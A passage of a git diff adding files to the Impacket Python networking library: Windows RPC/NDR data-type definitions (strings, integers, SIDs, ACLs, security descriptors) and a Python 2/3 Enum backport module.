+    def __getitem__(self, key):
+        if key == 'Data':
+            try:
+                return self.fields[key].decode('utf-8')
+            except UnicodeDecodeError:
+                # if we could't decode it, we assume it is a raw buffer
+                return self.fields[key]
+        else:
+            return NDR.__getitem__(self,key)
+
+    def getDataLen(self, data, offset=0):
+        return self["ActualCount"]
+
+class LPSTR(NDRPOINTER):
+    referent = (
+        ('Data', STR),
+    )
+
+class WSTR(NDRSTRUCT):
+    commonHdr = (
+        ('MaximumCount', '<L=len(Data)//2'),
+        ('Offset','<L=0'),
+        ('ActualCount','<L=len(Data)//2'),
+    )
+    commonHdr64 = (
+        ('MaximumCount', '<Q=len(Data)//2'),
+        ('Offset','<Q=0'),
+        ('ActualCount','<Q=len(Data)//2'),
+    )
+    structure = (
+        ('Data',':'),
+    )
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print("%s" % msg, end=' ')
+        # Here just print the data
+        print(" %r" % (self['Data']), end=' ')
+
+    def getDataLen(self, data, offset=0):
+        return self["ActualCount"]*2 
+
+    def __setitem__(self, key, value):
+        if key == 'Data':
+            try:
+                self.fields[key] = value.encode('utf-16le')
+            except UnicodeDecodeError:
+                import sys
+                self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
+            self.fields['MaximumCount'] = None
+            self.fields['ActualCount'] = None
+            self.data = None        # force recompute
+        else:
+            return NDR.__setitem__(self, key, value)
+
+    def __getitem__(self, key):
+        if key == 'Data':
+            return self.fields[key].decode('utf-16le')
+        else:
+            return NDR.__getitem__(self,key)
+
+class LPWSTR(NDRPOINTER):
+    referent = (
+        ('Data', WSTR),
+    )
+
+# 2.2.5 BSTR
+BSTR = LPWSTR
+
+# 2.2.8 DOUBLE
+DOUBLE = NDRDOUBLEFLOAT
+class PDOUBLE(NDRPOINTER):
+    referent = (
+        ('Data', DOUBLE),
+    )
+
+# 2.2.15 FLOAT
+FLOAT = NDRFLOAT
+class PFLOAT(NDRPOINTER):
+    referent = (
+        ('Data', FLOAT),
+    )
+
+# 2.2.18 HRESULT
+HRESULT = NDRLONG
+class PHRESULT(NDRPOINTER):
+    referent = (
+        ('Data', HRESULT),
+    )
+
+# 2.2.19 INT
+INT = NDRLONG
+class PINT(NDRPOINTER):
+    referent = (
+        ('Data', INT),
+    )
+
+# 2.2.26 LMSTR
+LMSTR = LPWSTR
+
+# 2.2.27 LONG
+LONG = NDRLONG
+class LPLONG(NDRPOINTER):
+    referent = (
+        ('Data', LONG),
+    )
+
+PLONG = LPLONG
+
+# 2.2.28 LONGLONG
+LONGLONG = NDRHYPER
+
+class PLONGLONG(NDRPOINTER):
+    referent = (
+        ('Data', LONGLONG),
+    )
+
+# 2.2.31 LONG64
+LONG64 = NDRUHYPER
+class PLONG64(NDRPOINTER):
+    referent = (
+        ('Data', LONG64),
+    )
+
+# 2.2.32 LPCSTR
+LPCSTR = LPSTR
+
+# 2.2.36 NET_API_STATUS
+NET_API_STATUS = DWORD
+
+# 2.2.52 ULONG_PTR
+ULONG_PTR = NDRULONG
+# 2.2.10 DWORD_PTR
+DWORD_PTR = ULONG_PTR
+
+# 2.3.2 GUID and UUID
+class GUID(NDRSTRUCT):
+    structure = (
+        ('Data','16s=b""'),
+    )
+
+    def getAlignment(self):
+        return 4
+
+class PGUID(NDRPOINTER):
+    referent = (
+        ('Data', GUID),
+    )
+
+UUID = GUID
+PUUID = PGUID
+
+# 2.2.37 NTSTATUS
+NTSTATUS = DWORD
+
+# 2.2.45 UINT
+UINT = NDRULONG
+class PUINT(NDRPOINTER):
+    referent = (
+        ('Data', UINT),
+    )
+
+# 2.2.50 ULONG
+ULONG = NDRULONG
+class PULONG(NDRPOINTER):
+    referent = (
+        ('Data', ULONG),
+    )
+
+LPULONG = PULONG
+
+# 2.2.54 ULONGLONG
+ULONGLONG = NDRUHYPER
+class PULONGLONG(NDRPOINTER):
+    referent = (
+        ('Data', ULONGLONG),
+    )
+
+# 2.2.57 USHORT
+USHORT = NDRUSHORT
+class PUSHORT(NDRPOINTER):
+    referent = (
+        ('Data', USHORT),
+    )
+
+# 2.2.59 WCHAR
+WCHAR = WSTR
+PWCHAR = LPWSTR
+
+# 2.2.61 WORD
+WORD = NDRUSHORT
+class PWORD(NDRPOINTER):
+    referent = (
+        ('Data', WORD),
+    )
+LPWORD = PWORD
+
+# 2.3.1 FILETIME
+class FILETIME(NDRSTRUCT):
+    structure = (
+        ('dwLowDateTime', DWORD),
+        ('dwHighDateTime', LONG),
+    )
+
+class PFILETIME(NDRPOINTER):
+    referent = (
+        ('Data', FILETIME),
+    )
+
+# 2.3.3 LARGE_INTEGER
+LARGE_INTEGER = NDRHYPER
+class PLARGE_INTEGER(NDRPOINTER):
+    referent = (
+        ('Data', LARGE_INTEGER),
+    )
+
+# 2.3.5 LUID
+class LUID(NDRSTRUCT):
+    structure = (
+        ('LowPart', DWORD),
+        ('HighPart', LONG),
+    )
+
+# 2.3.8 RPC_UNICODE_STRING
+class RPC_UNICODE_STRING(NDRSTRUCT):
+    # Here we're doing some tricks to make this data type
+    # easier to use. It's exactly the same as defined. I changed the
+    # Buffer name for Data, so users can write directly to the datatype
+    # instead of writing to datatype['Buffer'].
+    # The drawback is you cannot directly access the Length and 
+    # MaximumLength fields. 
+    # If you really need it, you will need to do it this way:
+    # class TT(NDRCALL):
+    # structure = (
+    #     ('str1', RPC_UNICODE_STRING),
+    #  )
+    # 
+    # nn = TT()
+    # nn.fields['str1'].fields['MaximumLength'] = 30
+    structure = (
+        ('Length','<H=0'),
+        ('MaximumLength','<H=0'),
+        ('Data',LPWSTR),
+    )
+
+    def __setitem__(self, key, value):
+        if key == 'Data' and isinstance(value, NDR) is False:
+            try:
+                value.encode('utf-16le')
+            except UnicodeDecodeError:
+                import sys
+                value = value.decode(sys.getfilesystemencoding())
+            self['Length'] = len(value)*2
+            self['MaximumLength'] = len(value)*2
+        return NDRSTRUCT.__setitem__(self, key, value)
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print("%s" % msg, end=' ')
+
+        if isinstance(self.fields['Data'] , NDRPOINTERNULL):
+            print(" NULL", end=' ')
+        elif self.fields['Data']['ReferentID'] == 0:
+            print(" NULL", end=' ')
+        else:
+            return self.fields['Data'].dump('',indent)
+
+class PRPC_UNICODE_STRING(NDRPOINTER):
+    referent = (
+       ('Data', RPC_UNICODE_STRING ),
+    )
+
+# 2.3.9 OBJECT_TYPE_LIST
+ACCESS_MASK = DWORD
+class OBJECT_TYPE_LIST(NDRSTRUCT):
+    structure = (
+        ('Level', WORD),
+        ('Remaining',ACCESS_MASK),
+        ('ObjectType',PGUID),
+    )
+
+class POBJECT_TYPE_LIST(NDRPOINTER):
+    referent = (
+       ('Data', OBJECT_TYPE_LIST ),
+    )
+
+# 2.3.13 SYSTEMTIME
+class SYSTEMTIME(NDRSTRUCT):
+    structure = (
+        ('wYear', WORD),
+        ('wMonth', WORD),
+        ('wDayOfWeek', WORD),
+        ('wDay', WORD),
+        ('wHour', WORD),
+        ('wMinute', WORD),
+        ('wSecond', WORD),
+        ('wMilliseconds', WORD),
+    )
+
+class PSYSTEMTIME(NDRPOINTER):
+    referent = (
+       ('Data', SYSTEMTIME ),
+    )
+
+# 2.3.15 ULARGE_INTEGER
+class ULARGE_INTEGER(NDRSTRUCT):
+    structure = (
+        ('QuadPart', LONG64),
+    )
+
+class PULARGE_INTEGER(NDRPOINTER):
+    referent = (
+        ('Data', ULARGE_INTEGER),
+    )
+
+# 2.4.2.3 RPC_SID
+class DWORD_ARRAY(NDRUniConformantArray):
+    item = '<L'
+
+class RPC_SID_IDENTIFIER_AUTHORITY(NDRUniFixedArray):
+    align = 1
+    align64 = 1
+    def getDataLen(self, data, offset=0):
+        return 6
+
+class RPC_SID(NDRSTRUCT):
+    structure = (
+        ('Revision',NDRSMALL),
+        ('SubAuthorityCount',NDRSMALL),
+        ('IdentifierAuthority',RPC_SID_IDENTIFIER_AUTHORITY),
+        ('SubAuthority',DWORD_ARRAY),
+    )
+    def getData(self, soFar = 0):
+        self['SubAuthorityCount'] = len(self['SubAuthority'])
+        return NDRSTRUCT.getData(self, soFar)
+
+    def fromCanonical(self, canonical):
+        items = canonical.split('-')
+        self['Revision'] = int(items[1])
+        self['IdentifierAuthority'] = b'\x00\x00\x00\x00\x00' + pack('B',int(items[2]))
+        self['SubAuthorityCount'] = len(items) - 3
+        for i in range(self['SubAuthorityCount']):
+            self['SubAuthority'].append(int(items[i+3]))
+
+    def formatCanonical(self):
+        ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority'][5:6]))
+        for i in range(self['SubAuthorityCount']):
+            ans += '-%d' % self['SubAuthority'][i]
+        return ans
+
+class PRPC_SID(NDRPOINTER):
+    referent = (
+        ('Data', RPC_SID),
+    )
+
+PSID = PRPC_SID
+
+# 2.4.3 ACCESS_MASK
+GENERIC_READ            = 0x80000000
+GENERIC_WRITE           = 0x40000000
+GENERIC_EXECUTE         = 0x20000000
+GENERIC_ALL             = 0x10000000
+MAXIMUM_ALLOWED         = 0x02000000
+ACCESS_SYSTEM_SECURITY  = 0x01000000
+SYNCHRONIZE             = 0x00100000
+WRITE_OWNER             = 0x00080000
+WRITE_DACL              = 0x00040000
+READ_CONTROL            = 0x00020000
+DELETE                  = 0x00010000
+
+# 2.4.5.1 ACL--RPC Representation
+class ACL(NDRSTRUCT):
+    structure = (
+        ('AclRevision',NDRSMALL),
+        ('Sbz1',NDRSMALL),
+        ('AclSize',NDRSHORT),
+        ('AceCount',NDRSHORT),
+        ('Sbz2',NDRSHORT),
+    )
+
+class PACL(NDRPOINTER):
+    referent = (
+        ('Data', ACL),
+    )
+
+# 2.4.6.1 SECURITY_DESCRIPTOR--RPC Representation
+class SECURITY_DESCRIPTOR(NDRSTRUCT):
+    structure = (
+        ('Revision',UCHAR),
+        ('Sbz1',UCHAR),
+        ('Control',USHORT),
+        ('Owner',PSID),
+        ('Group',PSID),
+        ('Sacl',PACL),
+        ('Dacl',PACL),
+    )
+
+# 2.4.7 SECURITY_INFORMATION
+OWNER_SECURITY_INFORMATION            = 0x00000001
+GROUP_SECURITY_INFORMATION            = 0x00000002
+DACL_SECURITY_INFORMATION             = 0x00000004
+SACL_SECURITY_INFORMATION             = 0x00000008
+LABEL_SECURITY_INFORMATION            = 0x00000010
+UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000
+UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000
+PROTECTED_SACL_SECURITY_INFORMATION   = 0x40000000
+PROTECTED_DACL_SECURITY_INFORMATION   = 0x80000000
+ATTRIBUTE_SECURITY_INFORMATION        = 0x00000020
+SCOPE_SECURITY_INFORMATION            = 0x00000040
+BACKUP_SECURITY_INFORMATION           = 0x00010000
+
+SECURITY_INFORMATION = DWORD
+class PSECURITY_INFORMATION(NDRPOINTER):
+    referent = (
+        ('Data', SECURITY_INFORMATION),
+    )
diff --git a/impacket/dcerpc/v5/enum.py b/impacket/dcerpc/v5/enum.py
new file mode 100644
index 0000000..80e4928
--- /dev/null
+++ b/impacket/dcerpc/v5/enum.py
@@ -0,0 +1,762 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+"""Python Enumerations"""
+
+import sys as _sys
+
+__all__ = ['Enum', 'IntEnum', 'unique']
+
+pyver = float('%s.%s' % _sys.version_info[:2])
+
+try:
+    any
+except NameError:
+    def any(iterable):
+        for element in iterable:
+            if element:
+                return True
+        return False
+
+
+class _RouteClassAttributeToGetattr(object):
+    """Route attribute access on a class to __getattr__.
+
+    This is a descriptor, used to define attributes that act differently when
+    accessed through an instance and through a class.  Instance access remains
+    normal, but access to an attribute through a class will be routed to the
+    class's __getattr__ method; this is done by raising AttributeError.
+
+    """
+    def __init__(self, fget=None):
+        self.fget = fget
+
+    def __get__(self, instance, ownerclass=None):
+        if instance is None:
+            raise AttributeError()
+        return self.fget(instance)
+
+    def __set__(self, instance, value):
+        raise AttributeError("can't set attribute")
+
+    def __delete__(self, instance):
+        raise AttributeError("can't delete attribute")
+
+
+def _is_descriptor(obj):
+    """Returns True if obj is a descriptor, False otherwise."""
+    return (
+            hasattr(obj, '__get__') or
+            hasattr(obj, '__set__') or
+            hasattr(obj, '__delete__'))
+
+
+def _is_dunder(name):
+    """Returns True if a __dunder__ name, False otherwise."""
+    return (name[:2] == name[-2:] == '__' and
+            name[2:3] != '_' and
+            name[-3:-2] != '_' and
+            len(name) > 4)
+
+
+def _is_sunder(name):
+    """Returns True if a _sunder_ name, False otherwise."""
+    return (name[0] == name[-1] == '_' and 
+            name[1:2] != '_' and
+            name[-2:-1] != '_' and
+            len(name) > 2)
+
+
+def _make_class_unpicklable(cls):
+    """Make the given class un-picklable."""
+    def _break_on_call_reduce(self):
+        raise TypeError('%r cannot be pickled' % self)
+    cls.__reduce__ = _break_on_call_reduce
+    cls.__module__ = '<unknown>'
+
+
+class _EnumDict(dict):
+    """Track enum member order and ensure member names are not reused.
+
+    EnumMeta will use the names found in self._member_names as the
+    enumeration member names.
+
+    """
+    def __init__(self):
+        super(_EnumDict, self).__init__()
+        self._member_names = []
+
+    def __setitem__(self, key, value):
+        """Changes anything not dundered or not a descriptor.
+
+        If a descriptor is added with the same name as an enum member, the name
+        is removed from _member_names (this may leave a hole in the numerical
+        sequence of values).
+
+        If an enum member name is used twice, an error is raised; duplicate
+        values are not checked for.
+
+        Single underscore (sunder) names are reserved.
+
+        Note:   in 3.x __order__ is simply discarded as a not necessary piece
+                leftover from 2.x
+
+        """
+        if pyver >= 3.0 and key == '__order__':
+                return
+        if _is_sunder(key):
+            raise ValueError('_names_ are reserved for future Enum use')
+        elif _is_dunder(key):
+            pass
+        elif key in self._member_names:
+            # descriptor overwriting an enum?
+            raise TypeError('Attempted to reuse key: %r' % key)
+        elif not _is_descriptor(value):
+            if key in self:
+                # enum overwriting a descriptor?
+                raise TypeError('Key already defined as: %r' % self[key])
+            self._member_names.append(key)
+        super(_EnumDict, self).__setitem__(key, value)
+
+
+# Dummy value for Enum as EnumMeta explicitly checks for it, but of course until
+# EnumMeta finishes running the first time the Enum class doesn't exist.  This
+# is also why there are checks in EnumMeta like `if Enum is not None`
+Enum = None
+
+
+class EnumMeta(type):
+    """Metaclass for Enum"""
+    @classmethod
+    def __prepare__(metacls, cls, bases):
+        return _EnumDict()
+
+    def __new__(metacls, cls, bases, classdict):
+        # an Enum class is final once enumeration items have been defined; it
+        # cannot be mixed with other types (int, float, etc.) if it has an
+        # inherited __new__ unless a new __new__ is defined (or the resulting
+        # class will fail).
+        if type(classdict) is dict:
+            original_dict = classdict
+            classdict = _EnumDict()
+            for k, v in original_dict.items():
+                classdict[k] = v
+
+        member_type, first_enum = metacls._get_mixins_(bases)
+        #if member_type is object:
+        #    use_args = False
+        #else:
+        #    use_args = True
+        __new__, save_new, use_args = metacls._find_new_(classdict, member_type,
+                                                        first_enum)
+        # save enum items into separate mapping so they don't get baked into
+        # the new class
+        members = dict((k, classdict[k]) for k in classdict._member_names)
+        for name in classdict._member_names:
+            del classdict[name]
+
+        # py2 support for definition order
+        __order__ = classdict.get('__order__')
+        if __order__ is None:
+            __order__ = classdict._member_names
+            if pyver < 3.0:
+                order_specified = False
+            else:
+                order_specified = True
+        else:
+            del classdict['__order__']
+            order_specified = True
+            if pyver < 3.0:
+                __order__ = __order__.replace(',', ' ').split()
+                aliases = [name for name in members if name not in __order__]
+                __order__ += aliases
+
+        # check for illegal enum names (any others?)
+        invalid_names = set(members) & set(['mro'])
+        if invalid_names:
+            raise ValueError('Invalid enum member name(s): %s' % (
+                ', '.join(invalid_names), ))
+
+        # create our new Enum type
+        enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict)
+        enum_class._member_names_ = []               # names in random order
+        enum_class._member_map_ = {}                 # name->value map
+        enum_class._member_type_ = member_type
+
+        # Reverse value->name map for hashable values.
+        enum_class._value2member_map_ = {}
+
+        # check for a __getnewargs__, and if not present sabotage
+        # pickling, since it won't work anyway
+        if (member_type is not object and
+            member_type.__dict__.get('__getnewargs__') is None
+            ):
+            _make_class_unpicklable(enum_class)
+
+        # instantiate them, checking for duplicates as we go
+        # we instantiate first instead of checking for duplicates first in case
+        # a custom __new__ is doing something funky with the values -- such as
+        # auto-numbering ;)
+        if __new__ is None:
+            __new__ = enum_class.__new__
+        for member_name in __order__:
+            value = members[member_name]
+            if not isinstance(value, tuple):
+                args = (value, )
+            else:
+                args = value
+            if member_type is tuple:   # special case for tuple enums
+                args = (args, )     # wrap it one more time
+            if not use_args or not args:
+                enum_member = __new__(enum_class)
+                if not hasattr(enum_member, '_value_'):
+                    enum_member._value_ = value
+            else:
+                enum_member = __new__(enum_class, *args)
+                if not hasattr(enum_member, '_value_'):
+                    enum_member._value_ = member_type(*args)
+            value = enum_member._value_
+            enum_member._name_ = member_name
+            enum_member.__objclass__ = enum_class
+            enum_member.__init__(*args)
+            # If another member with the same value was already defined, the
+            # new member becomes an alias to the existing one.
+            for name, canonical_member in enum_class._member_map_.items():
+                if canonical_member.value == enum_member._value_:
+                    enum_member = canonical_member
+                    break
+            else:
+                # Aliases don't appear in member names (only in __members__).
+                enum_class._member_names_.append(member_name)
+            enum_class._member_map_[member_name] = enum_member
+            try:
+                # This may fail if value is not hashable. We can't add the value
+                # to the map, and by-value lookups for this value will be
+                # linear.
+                enum_class._value2member_map_[value] = enum_member
+            except TypeError:
+                pass
+
+        # in Python2.x we cannot know definition order, so go with value order
+        # unless __order__ was specified in the class definition
+        if not order_specified:
+            enum_class._member_names_ = [
+                e[0] for e in sorted(
+                [(name, enum_class._member_map_[name]) for name in enum_class._member_names_],
+                 key=lambda t: t[1]._value_
+                        )]
+
+        # double check that repr and friends are not the mixin's or various
+        # things break (such as pickle)
+        if Enum is not None:
+            setattr(enum_class, '__getnewargs__', Enum.__getnewargs__)
+        for name in ('__repr__', '__str__', '__format__'):
+            class_method = getattr(enum_class, name)
+            obj_method = getattr(member_type, name, None)
+            enum_method = getattr(first_enum, name, None)
+            if obj_method is not None and obj_method is class_method:
+                setattr(enum_class, name, enum_method)
+
+        # method resolution and int's are not playing nice
+        # Python's less than 2.6 use __cmp__
+
+        if pyver < 2.6:
+
+            if issubclass(enum_class, int):
+                setattr(enum_class, '__cmp__', getattr(int, '__cmp__'))
+
+        elif pyver < 3.0:
+
+            if issubclass(enum_class, int):
+                for method in (
+                        '__le__',
+                        '__lt__',
+                        '__gt__',
+                        '__ge__',
+                        '__eq__',
+                        '__ne__',
+                        '__hash__',
+                        ):
+                    setattr(enum_class, method, getattr(int, method))
+
+        # replace any other __new__ with our own (as long as Enum is not None,
+        # anyway) -- again, this is to support pickle
+        if Enum is not None:
+            # if the user defined their own __new__, save it before it gets
+            # clobbered in case they subclass later
+            if save_new:
+                setattr(enum_class, '__member_new__', enum_class.__dict__['__new__'])
+            setattr(enum_class, '__new__', Enum.__dict__['__new__'])
+        return enum_class
+
+    def __call__(cls, value, names=None, module=None, type=None):
+        """Either returns an existing member, or creates a new enum class.
+
+        This method is used both when an enum class is given a value to match
+        to an enumeration member (i.e. Color(3)) and for the functional API
+        (i.e. Color = Enum('Color', names='red green blue')).
+
+        When used for the functional API: `module`, if set, will be stored in
+        the new class' __module__ attribute; `type`, if set, will be mixed in
+        as the first base class.
+
+        Note: if `module` is not set this routine will attempt to discover the
+        calling module by walking the frame stack; if this is unsuccessful
+        the resulting class will not be pickleable.
+
+        """
+        if names is None:  # simple value lookup
+            return cls.__new__(cls, value)
+        # otherwise, functional API: we're creating a new Enum type
+        return cls._create_(value, names, module=module, type=type)
+
+    def __contains__(cls, member):
+        return isinstance(member, cls) and member.name in cls._member_map_
+
+    def __delattr__(cls, attr):
+        # nicer error message when someone tries to delete an attribute
+        # (see issue19025).
+        if attr in cls._member_map_:
+            raise AttributeError(
+                    "%s: cannot delete Enum member." % cls.__name__)
+        super(EnumMeta, cls).__delattr__(attr)
+
+    def __dir__(self):
+        return (['__class__', '__doc__', '__members__', '__module__'] +
+                self._member_names_)
+
+    @property
+    def __members__(cls):
+        """Returns a mapping of member name->value.
+
+        This mapping lists all enum members, including aliases. Note that this
+        is a copy of the internal mapping.
+
+        """
+        return cls._member_map_.copy()
+
+    def __getattr__(cls, name):
+        """Return the enum member matching `name`
+
+        We use __getattr__ instead of descriptors or inserting into the enum
+        class' __dict__ in order to support `name` and `value` being both
+        properties for enum members (which live in the class' __dict__) and
+        enum members themselves.
+
+        """
+        if _is_dunder(name):
+            raise AttributeError(name)
+        try:
+            return cls._member_map_[name]
+        except KeyError:
+            raise AttributeError(name)
+
+    def __getitem__(cls, name):
+        return cls._member_map_[name]
+
+    def __iter__(cls):
+        return (cls._member_map_[name] for name in cls._member_names_)
+
+    def __reversed__(cls):
+        return (cls._member_map_[name] for name in reversed(cls._member_names_))
+
+    def __len__(cls):
+        return len(cls._member_names_)
+
+    def __repr__(cls):
+        return "<enum %r>" % cls.__name__
+
+    def __setattr__(cls, name, value):
+        """Block attempts to reassign Enum members.
+
+        A simple assignment to the class namespace only changes one of the
+        several possible ways to get an Enum member from the Enum class,
+        resulting in an inconsistent Enumeration.
+
+        """
+        member_map = cls.__dict__.get('_member_map_', {})
+        if name in member_map:
+            raise AttributeError('Cannot reassign members.')
+        super(EnumMeta, cls).__setattr__(name, value)
+
+    def _create_(cls, class_name, names=None, module=None, type=None):
+        """Convenience method to create a new Enum class.
+
+        `names` can be:
+
+        * A string containing member names, separated either with spaces or
+          commas.  Values are auto-numbered from 1.
+        * An iterable of member names.  Values are auto-numbered from 1.
+        * An iterable of (member name, value) pairs.
+        * A mapping of member name -> value.
+
+        """
+        metacls = cls.__class__
+        if type is None:
+            bases = (cls, )
+        else:
+            bases = (type, cls)
+        classdict = metacls.__prepare__(class_name, bases)
+        __order__ = []
+
+        # special processing needed for names?
+        if isinstance(names, str):
+            names = names.replace(',', ' ').split()
+        if isinstance(names, (tuple, list)) and isinstance(names[0], str):
+            names = [(e, i+1) for (i, e) in enumerate(names)]
+
+        # Here, names is either an iterable of (name, value) or a mapping.
+        for item in names:
+            if isinstance(item, str):
+                member_name, member_value = item, names[item]
+            else:
+                member_name, member_value = item
+            classdict[member_name] = member_value
+            __order__.append(member_name)
+        # only set __order__ in classdict if name/value was not from a mapping
+        if not isinstance(item, str):
+            classdict['__order__'] = ' '.join(__order__)
+        enum_class = metacls.__new__(metacls, class_name, bases, classdict)
+
+        # TODO: replace the frame hack if a blessed way to know the calling
+        # module is ever developed
+        if module is None:
+            try:
+                module = _sys._getframe(2).f_globals['__name__']
+            except (AttributeError, ValueError):
+                pass
+        if module is None:
+            _make_class_unpicklable(enum_class)
+        else:
+            enum_class.__module__ = module
+
+        return enum_class
+
+    @staticmethod
+    def _get_mixins_(bases):
+        """Returns the type for creating enum members, and the first inherited
+        enum class.
+
+        bases: the tuple of bases that was given to __new__
+
+        """
+        if not bases or Enum is None:
+            return object, Enum
+        
+
+        # double check that we are not subclassing a class with existing
+        # enumeration members; while we're at it, see if any other data
+        # type has been mixed in so we can use the correct __new__
+        member_type = first_enum = None
+        for base in bases:
+            if  (base is not Enum and
+                    issubclass(base, Enum) and
+                    base._member_names_):
+                raise TypeError("Cannot extend enumerations")
+        # base is now the last base in bases
+        if not issubclass(base, Enum):
+            raise TypeError("new enumerations must be created as "
+                    "`ClassName([mixin_type,] enum_type)`")
+
+        # get correct mix-in type (either mix-in type of Enum subclass, or
+        # first base if last base is Enum)
+        if not issubclass(bases[0], Enum):
+            member_type = bases[0]     # first data type
+            first_enum = bases[-1]  # enum type
+        else:
+            for base in bases[0].__mro__:
+                # most common: (IntEnum, int, Enum, object)
+                # possible:    (<Enum 'AutoIntEnum'>, <Enum 'IntEnum'>,
+                #               <class 'int'>, <Enum 'Enum'>,
+                #               <class 'object'>)
+                if issubclass(base, Enum):
+                    if first_enum is None:
+                        first_enum = base
+                else:
+                    if member_type is None:
+                        member_type = base
+
+        return member_type, first_enum
+
+    if pyver < 3.0:
+        @staticmethod
+        def _find_new_(classdict, member_type, first_enum):
+            """Returns the __new__ to be used for creating the enum members.
+
+            classdict: the class dictionary given to __new__
+            member_type: the data type whose __new__ will be used by default
+            first_enum: enumeration to check for an overriding __new__
+
+            """
+            # now find the correct __new__, checking to see of one was defined
+            # by the user; also check earlier enum classes in case a __new__ was
+            # saved as __member_new__
+            __new__ = classdict.get('__new__', None)
+            if __new__:
+                return None, True, True      # __new__, save_new, use_args
+
+            N__new__ = getattr(None, '__new__')
+            O__new__ = getattr(object, '__new__')
+            if Enum is None:
+                E__new__ = N__new__
+            else:
+                E__new__ = Enum.__dict__['__new__']
+            # check all possibles for __member_new__ before falling back to
+            # __new__
+            for method in ('__member_new__', '__new__'):
+                for possible in (member_type, first_enum):
+                    try:
+                        target = possible.__dict__[method]
+                    except (AttributeError, KeyError):
+                        target = getattr(possible, method, None)
+                    if target not in [
+                            None,
+                            N__new__,
+                            O__new__,
+                            E__new__,
+                            ]:
+                        if method == '__member_new__':
+                            classdict['__new__'] = target
+                            return None, False, True
+                        if isinstance(target, staticmethod):
+                            target = target.__get__(member_type)
+                        __new__ = target
+                        break
+                if __new__ is not None:
+                    break
+            else:
+                __new__ = object.__new__
+
+            # if a non-object.__new__ is used then whatever value/tuple was
+            # assigned to the enum member name will be passed to __new__ and to the
+            # new enum member's __init__
+            if __new__ is object.__new__:
+                use_args = False
+            else:
+                use_args = True
+
+            return __new__, False, use_args
+    else:
+        @staticmethod
+        def _find_new_(classdict, member_type, first_enum):
+            """Returns the __new__ to be used for creating the enum members.
+
+            classdict: the class dictionary given to __new__
+            member_type: the data type whose __new__ will be used by default
+            first_enum: enumeration to check for an overriding __new__
+
+            """
+            # now find the correct __new__, checking to see of one was defined
+            # by the user; also check earlier enum classes in case a __new__ was
+            # saved as __member_new__
+            __new__ = classdict.get('__new__', None)
+
+            # should __new__ be saved as __member_new__ later?
+            save_new = __new__ is not None
+
+            if __new__ is None:
+                # check all possibles for __member_new__ before falling back to
+                # __new__
+                for method in ('__member_new__', '__new__'):
+                    for possible in (member_type, first_enum):
+                        target = getattr(possible, method, None)
+                        if target not in (
+                                None,
+                                None.__new__,
+                                object.__new__,
+                                Enum.__new__,
+                                ):
+                            __new__ = target
+                            break
+                    if __new__ is not None:
+                        break
+                else:
+                    __new__ = object.__new__
+
+            # if a non-object.__new__ is used then whatever value/tuple was
+            # assigned to the enum member name will be passed to __new__ and to the
+            # new enum member's __init__
+            if __new__ is object.__new__:
+                use_args = False
+            else:
+                use_args = True
+
+            return __new__, save_new, use_args
+
+
+########################################################
+# In order to support Python 2 and 3 with a single
+# codebase we have to create the Enum methods separately
+# and then use the `type(name, bases, dict)` method to
+# create the class.
+########################################################
+temp_enum_dict = {}
+temp_enum_dict['__doc__'] = "Generic enumeration.\n\n    Derive from this class to define new enumerations.\n\n"
+
+def __new__(cls, value):
+    # all enum instances are actually created during class construction
+    # without calling this method; this method is called by the metaclass'
+    # __call__ (i.e. Color(3) ), and by pickle
+    if type(value) is cls:
+        # For lookups like Color(Color.red)
+        value = value.value
+        #return value
+    # by-value search for a matching enum member
+    # see if it's in the reverse mapping (for hashable values)
+    try:
+        if value in cls._value2member_map_:
+            return cls._value2member_map_[value]
+    except TypeError:
+        # not there, now do long search -- O(n) behavior
+        for member in cls._member_map_.values():
+            if member.value == value:
+                return member
+    raise ValueError("%s is not a valid %s" % (value, cls.__name__))
+temp_enum_dict['__new__'] = __new__
+del __new__
+
+def __repr__(self):
+    return "<%s.%s: %r>" % (
+            self.__class__.__name__, self._name_, self._value_)
+temp_enum_dict['__repr__'] = __repr__
+del __repr__
+
+def __str__(self):
+    return "%s.%s" % (self.__class__.__name__, self._name_)
+temp_enum_dict['__str__'] = __str__
+del __str__
+
+def __dir__(self):
+    added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_']
+    return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior)
+temp_enum_dict['__dir__'] = __dir__
+del __dir__
+
+def __format__(self, format_spec):
+    # mixed-in Enums should use the mixed-in type's __format__, otherwise
+    # we can get strange results with the Enum name showing up instead of
+    # the value
+
+    # pure Enum branch
+    if self._member_type_ is object:
+        cls = str
+        val = str(self)
+    # mix-in branch
+    else:
+        cls = self._member_type_
+        val = self.value
+    return cls.__format__(val, format_spec)
+temp_enum_dict['__format__'] = __format__
+del __format__
+
+
+####################################
+# Python's less than 2.6 use __cmp__
+
+if pyver < 2.6:
+
+    def __cmp__(self, other):
+        if type(other) is self.__class__:
+            if self is other:
+                return 0
+            return -1
+        return NotImplemented
+        raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__))
+    temp_enum_dict['__cmp__'] = __cmp__
+    del __cmp__
+
+else:
+
+    def __le__(self, other):
+        raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__))
+    temp_enum_dict['__le__'] = __le__
+    del __le__
+
+    def __lt__(self, other):
+        raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__))
+    temp_enum_dict['__lt__'] = __lt__
+    del __lt__
+
+    def __ge__(self, other):
+        raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__))
+    temp_enum_dict['__ge__'] = __ge__
+    del __ge__
+
+    def __gt__(self, other):
+        raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__))
+    temp_enum_dict['__gt__'] = __gt__
+    del __gt__
+    
+
